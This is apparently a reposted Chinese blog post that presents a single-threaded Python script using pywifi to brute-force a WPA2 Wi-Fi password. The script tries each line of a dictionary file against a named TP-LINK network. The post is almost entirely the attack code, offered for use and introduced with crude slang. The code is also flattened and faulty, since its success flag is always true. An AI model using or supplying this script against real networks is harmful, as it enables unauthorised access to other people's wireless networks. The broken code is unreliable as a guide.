python制作wifi破解(跑字典(單線程))
阿新 • • 發佈:2017-09-02
imp disco 初始化 read clas rds name () link
很雞巴簡單,接上一篇文章
import pywifi import sys import time from pywifi import const def test_wifi_connect(passwordstr): wifi=pywifi.PyWiFi()#初始化 ifaces=wifi.interfaces()[0]#創建取出第一個無限網卡 #print(ifaces.name())#輸出無限網卡名 ifaces.disconnect()#斷開無限網卡連接 time.sleep(3)#斷開以後緩沖3秒 profile=pywifi.Profile()#配置文件 profile.ssid="TP-LINK_168"#wifi名稱 profile.auth=const.AUTH_ALG_OPEN#需要密碼連接 profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密 profile.cipher=const.CIPHER_TYPE_CCMP#機密單元 profile.key=passwordstr #wifi密鑰 ifaces.remove_all_network_profiles()#刪除其他所有配置文件 tmp_profile=ifaces.add_network_profile(profile)#加載配置文件 ifaces.connect(tmp_profile)#連接 time.sleep(10)#10秒內能否連接上 isok = True if ifaces.status()==const.IFACE_CONNECTED: print("連接成功") else: print("連接失敗") ifaces.disconnect()#斷開連接 time.sleep(1) return isok fpath=r"password.txt" files=open(fpath,‘r‘) while True:#一行一行的輸出 fd=files.readline() if not fd: break fd = fd[:-1] # 去掉換行符 if test_wifi_connect(fd): print(fd,"密碼正確") else: print("密碼錯誤") files.close()
python制作wifi破解(跑字典(單線程))